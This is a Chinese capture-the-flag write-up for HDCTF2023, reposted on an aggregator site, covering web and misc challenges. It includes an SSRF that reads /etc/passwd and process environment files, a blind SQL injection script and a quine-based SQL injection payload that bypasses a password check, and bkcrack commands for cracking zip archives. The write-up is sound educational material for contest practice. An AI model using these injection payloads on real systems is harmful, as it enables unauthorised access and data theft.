【HDCTF2023】wp

这篇具有很好参考价值的文章主要介绍了【HDCTF2023】wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【HDCTF2023】wp

web

Welcome To HDCTF 2023

在源码的 game.js中找到了flag

【HDCTF2023】wp

在控制台输出 console.log(seeeeeeeecret)得flag

SearchMaster

使用dirmap扫描目录,发现:composer.json,访问一下:

{
    "name": "smarty/smarty",
    "type": "library",
    "description": "Smarty - the compiling PHP template engine",
    "keywords": [
        "templating"
    ],
    "homepage": "https://smarty-php.github.io/smarty/",
    "license": "LGPL-3.0",
    "authors": [
        {
            "name": "Monte Ohrt",
            "email": "monte@ohrt.com"
        },
        {
            "name": "Uwe Tews",
            "email": "uwe.tews@googlemail.com"
        },
        {
            "name": "Rodney Rehm",
            "email": "rodney.rehm@medialize.de"
        },
        {
            "name": "Simon Wisselink",
            "homepage": "https://www.iwink.nl/"
        }
    ],
    "support": {
        "issues": "https://github.com/smarty-php/smarty/issues",
        "forum": "https://github.com/smarty-php/smarty/discussions"
    },
    "require": {
        "php": "^7.1 || ^8.0"
    },
    "autoload": {
        "classmap": [
            "libs/"
        ]
    },
    "extra": {
        "branch-alias": {
            "dev-master": "4.0.x-dev"
        }
    },
    "require-dev": {
        "phpunit/phpunit": "^8.5 || ^7.5",
        "smarty/smarty-lexer": "^3.1"
    }
}

发现是 php smarty模板注入

【HDCTF2023】wp

提示我们需要使用post方式上传一个名为 data的变量:

测试一下确实有回显:

【HDCTF2023】wp

直接读flag:

【HDCTF2023】wp

YamiYami

进入题目:

【HDCTF2023】wp

当我们点击 Read somethings时:

http://node2.anna.nssctf.cn:28523/read?url=https://baidu.com

我们发现可以读取到百度首页的内容,这是SSRF(突然忘记了)

python中我们可以使用 file伪协议读取文件内容

我们尝试一下读取 /etc/passwd

【HDCTF2023】wp

成功读取

非预期解:(直接读取环境变量)

file:///proc/1/environ   # 这里读的是pid为1的进程

【HDCTF2023】wp

如果读取当前进程的环境变量是读取不到的:

【HDCTF2023】wp

Linux-Proc目录的利用

预期解:

LoginMaster

robots.txt泄露

<?php
function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

sql注入题目,username必须为admin,此处我们需要从密码着手

但是注意看,过滤了 in ,意味着我们不能使用 information_schema库查询表名,列名

我本来是想找一下除了information_schema库,还有哪些库能用来查询的,找了这么几个:

mysql.innodb_table_stats
sys.schema_table_statistics
sys.schema_table_statistics_with_buffer

这几个都能用来查询表名,此处我们可以使用下面两个,我们我们写脚本去查询表名:

import requests

url = "http://node5.anna.nssctf.cn:28973"
flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}_.,"

for i in range(60):
    for j in s:
        # payload = "1'/**/or/**/if((mid((select/**/version()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # 10_2_32-mariadb
        # payload = "1'/**/or/**/if((mid((select/**/database()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # ciscn
        # payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
        payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/table_schema/**/like/**/'ciscn'),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
        data = {
            'username': 'admin',
            'password': payload
        }
        req = requests.post(url=url, data=data)
        # print(payload)
        # print(req.text)
        if 'hacker' in req.text:
            print(payload)
        if 'something' in req.text:
            print("someting")
        if 'wrong password' in req.text:
            flag += j
            print(flag)
            break

发现啥都查不出来。。

实际上此处为一张空表,我们需要使用另一种做法(quine)

重点的代码是这里:

if ($row['password'] === $password) {
        die($FLAG);
    } 

我们除了让输入的密码与真正的密码一致外,还可以让输入的结果与输出的结果相同,同样可以实现获得flag

举个例子:

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

【HDCTF2023】wp

输入和输出结果一致,从而可以绕过

这里需要知道一下原理:

从三道赛题再谈Quine trick

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)

NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie

看着有点烧脑,其实就是套娃

我们首先尝试一下:

select REPLACE('.',char(46),'.');

【HDCTF2023】wp

输出是一个小数点 .

我们尝试将 上一段代码中的小数点 . 替换为:

REPLACE(".",char(46),".")   -- 这里使用双引号包裹,防止单双引号重叠

完整代码:

select REPLACE('REPLACE(".",char(46),".")',char(46),'REPLACE(".",char(46),".")');

【HDCTF2023】wp

乍一看好像是一样的,但是单双引号有点区别,我们需要再套REPLACE替换一下

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

【HDCTF2023】wp

是真的麻烦。。

基本上就是这种思路了

payload:

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

【HDCTF2023】wp

misc

hardMisc

010打开,base64解码

【HDCTF2023】wp

MasterMisc

【HDCTF2023】wp

打开发现有很多压缩包,

百度查了一下,这种是分卷压缩包,我们可以在cmd中输入如下命令,合并为一个压缩包:

copy /B topic.zip.001+topic.zip.002+topic.zip.003+topic.zip.004+topic.zip.005+topic.zip.006 topic.zip

【HDCTF2023】wp

爆破一下找到压缩包密码,使用foremost分离图片:

得到一个wav音频和一张绿色的图片,我们使用Audacity看一下频谱图:

【HDCTF2023】wp

找到一部分flag

使用010修改绿色图片高度:

【HDCTF2023】wp

得到另一部分flag,

最后一部分在topic.png中找到:

【HDCTF2023】wp

NSSCTF{e67d8104-7536-4433-bfff-96759901c405}

ExtremeMisc

一张 IDAT.png 首先使用 foremost分离一下,得到一个 Dic.zip

使用 Ziperello工具说没有加密,还以为是伪加密。。坑人

其实这里的密码是字母(以前一般都是数字),使用Archpr爆破得到密码:haida

打开Reverse.piz

【HDCTF2023】wp

很明显,这里每一个字节都需要反转一下,需要写个脚本:

f = open("C://Users/LIKE/Desktop/Reverse.piz", "rb")
data = f.read()
fzip = open("C://Users/LIKE/Desktop/fzip.zip", "wb")
s = b""

for i in data:
    tmp = int(("%02x" % i)[::-1], 16)

    s += bytes([tmp])
    # print(tmp.to_bytes(1, 'little'))

fzip.write(s)

首先以二进制形式读取文件给data,然后遍历这些二进制字符串,
注意:int(("%02x" % i)[::-1], 16)  我们将二进制转化为16进制然后宽度为2,不够使用0填充,
然后反转一下,并使用int()函数转为10进制
然后将10进制数字转为字节bytes([])进行拼接,最后以二进制格式写入

写这种编码转化的脚本不是很会,需要多学一学

字节到大整数的打包与解包

然后再使用爆破zip,获得如下文件:

【HDCTF2023】wp

很明显,在Plain.zip中存在内容已知的 secret.txt文件,我们可以使用明文爆破,ARCHPRbkcrack

这里我们选择 bkcrack速度快一点:

./bkcrack -C Plain.zip -c "secret.txt" -p secret.txt

【HDCTF2023】wp

爆出来3个key,用这些key去产生一个新的压缩包,密码自己设置:

bkcrack -C Plain.zip -c "secret.txt" -k ec437a15 db89e36d cd3e8e15 -U flag.zip 123

我们使用 -U 参数 生成了一个新的flag.zip压缩包,密码123:

使用密码打开 flag.txt

【HDCTF2023】wp

SuperMisc

打开文件夹,发现存在 .git 文件夹,说明使用了git,我们git log查看一下日志:

【HDCTF2023】wp

发现存在提交记录,于是我们切换到第二次提交的时候:

git reset --hard e9286d88c95ab6411b323dca8f358abc3a7e204f

【HDCTF2023】wp

发现多了一个压缩包 Vigenere.zip,但是不知道密码,于是我们使用010打开png图片:

【HDCTF2023】wp

发现很多 0、1的二进制数据,我们把它提取出来放到 data.txt中:

【HDCTF2023】wp

我们猜测这可能需要使用这些0、1组成图片:

于是我们写个脚本将这些16进制的转化为普通的文本文件out.txt

f = open("C://Users/LIKE/Desktop/data.txt", "rb")
fw = open("C://Users/LIKE/Desktop/out.txt", "w")
s = ""
data = f.read()
for i in data:
    ch = "%02x" % i
    s += ch

fw.write(s)

【HDCTF2023】wp

然后使用python脚本将01转化为图片:

from PIL import Image

fr = open("C://Users/LIKE/Desktop/out.txt", "r")
data = fr.read()

img = Image.new("RGB", (1150, 1150))

# print(data)
i = 0
for x in range(1150):
    for y in range(1150):
        if data[i] == "1":
            img.putpixel((x, y), (255, 255, 255))
        elif data[i] == "0":
            img.putpixel((x, y), (0, 0, 0))
        i += 1

img.show()
img.save("flag.png")

扫描二维码:

11000#11111#10000#01111#11000#00011#11000#00011#00011#100#00011#01111#10000#00011#00011#00001#10000#00111#00011#00001#10000#00001#00011#11111#00011#11111#00111#100#00011#11000#00011#00001#10000#00001#10000#10000#00111#100#00011#00001#00011#00001#00011#11110#00011#00111#00111#100#10000#00111#00011#11111#00011#00001#00011#11110#00111#100#00011#00000#00011#11100#00011#00111#10000#00000#10000#00000#00011#11100#00011#00011#00011#11111#00011#11110#10000#00000#00011#10000#00011#00000

使用 0、1、# 3中字符组成,猜测这应该是莫斯密码:

然后将16进制转为字符串:

【HDCTF2023】wp

获得压缩包密码,解密获得 Vigenere 文件:

我们使用 file命令查看一下是什么文件:

【HDCTF2023】wp

在010中打开得到字符串:

【HDCTF2023】wp

或者 strings

【HDCTF2023】wp

然后结合文件名,知道是维吉尼亚密码,但是需要密钥

使用大佬脚本根据明文爆破密钥

【HDCTF2023】wp

获得密钥 IBFQW:

【HDCTF2023】wp文章来源地址https://www.toymoban.com/news/detail-427218.html

到了这里,关于【HDCTF2023】wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • HDCTF KEEP ON

    格式化字符串漏洞与栈溢出漏洞。溢出后只能覆盖返回地址,因此存在两种解法: 格式化字符串 与 栈迁移 先计算出我们的 RBP 偏移。 使用 %16$p 即可获取rbp。 rbp与s的距离为0x60,再减去0x08的返回地址,就得到了我们的目标迁移地址。 也就是: Target_Addr = old_rbp - 0x60 - 0x08 这

    2023年04月26日
    浏览(34)
  • SOLIDWORKS 2023新功能揭秘!升级版轻松找到材料明细表修改

    SOLIDWORKS 2023 版本已经与大家见面,今天众联亿诚继续和大家分享SOLIDWORKS 2023 工程图的亮点新功能之一: 材料明细表的覆盖 。 材料明细表的覆盖 SOLIDWORKS工程图是我们常用的功能之一。当采用断开链接模式修改材料明细表的内容时,修改的内容和其他内容没有明显差异,这会

    2024年02月02日
    浏览(30)
  • js逆向·找到登录时目标网站的加密算法的几种方式

    为什么要去找到目标网站的加密密码方法: 为了要把我们的payload正确的带入目标网站的服务器进行逻辑验证,那么就需要知道对方使用的什么加密或者编码规则来处理数据的,比如说我们输入的密码被base64编码了,然后发送给后端,后端会进行解码过后再带入逻辑验证中去

    2024年02月08日
    浏览(35)
  • Welcome to YARP - 6.压缩、缓存

    Welcome to YARP - 1.认识YARP并搭建反向代理服务 Welcome to YARP - 2.配置功能 2.1 - 配置文件(Configuration Files) 2.2 - 配置提供者(Configuration Providers) 2.3 - 配置过滤器(Configuration Filters) Welcome to YARP - 3.负载均衡 Welcome to YARP - 4.限流 Welcome to YARP - 5.身份验证和授权 Welcome to YARP - 6.压缩

    2024年02月05日
    浏览(44)
  • Welcome to YARP - 7.目标健康检查

    Welcome to YARP - 1.认识YARP并搭建反向代理服务 Welcome to YARP - 2.配置功能 2.1 - 配置文件(Configuration Files) 2.2 - 配置提供者(Configuration Providers) 2.3 - 配置过滤器(Configuration Filters) Welcome to YARP - 3.负载均衡 Welcome to YARP - 4.限流 Welcome to YARP - 5.身份验证和授权 Welcome to YARP - 6.压缩

    2024年02月05日
    浏览(40)
  • Welcome to YARP - 5.身份验证和授权

    Welcome to YARP - 1.认识YARP并搭建反向代理服务 Welcome to YARP - 2.配置功能 2.1 - 配置文件(Configuration Files) 2.2 - 配置提供者(Configuration Providers) 2.3 - 配置过滤器(Configuration Filters) Welcome to YARP - 3.负载均衡 Welcome to YARP - 4.限流 Welcome to YARP - 5.身份验证和授权 Welcome to YARP - 6.压缩

    2024年02月05日
    浏览(40)
  • Welcome to YARP - 8.分布式跟踪

    Welcome to YARP - 1.认识YARP并搭建反向代理服务 Welcome to YARP - 2.配置功能 2.1 - 配置文件(Configuration Files) 2.2 - 配置提供者(Configuration Providers) 2.3 - 配置过滤器(Configuration Filters) Welcome to YARP - 3.负载均衡 Welcome to YARP - 4.限流 Welcome to YARP - 5.身份验证和授权 Welcome to YARP - 6.压缩

    2024年02月05日
    浏览(40)
  • UE4/5如何快速找到蓝图在C++源码里面的位置

            很多时候,我们在ue中写c++代码的时候,总是找不到实现蓝图的代码,原因是我们不知道c++源码中,他们所在的是哪一个头文件。         而这一次作者就告诉大家,如何通过蓝图快速的找到这些源码的位置所在。         作者用的是VS2022,不过没有关系,因为

    2024年02月04日
    浏览(30)
  • 【免费题库】华为OD机试 - 找到比自己强的人数(Java & JS & Python & C & C++)

    哈喽,本题库完全免费,收费是为了防止被爬,大家订阅专栏后可以私信联系退款。感谢支持 给定数组[[2,1],[3 2]],每组表示师徒关系,第一个元素是第二个元素的老师,数字代表排名,现在找出比自己强的徒弟。 无

    2024年04月12日
    浏览(24)
  • 【nepnep&cat ctf】welcome_CAT_CTF

    序言: 第一次做这种题,一直以为是栈溢出或者整数溢出之类的漏洞,看了半天不知道怎么做,还是太菜了/(ㄒoㄒ)/~~,后来才知道这种给了客户端的题可以改文件内容实现get flag。 首先本题是用wasd控制@进行移动,当移动到星星下面时输入j会喵喵(没啥用),在$下面会加猫

    2024年02月06日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包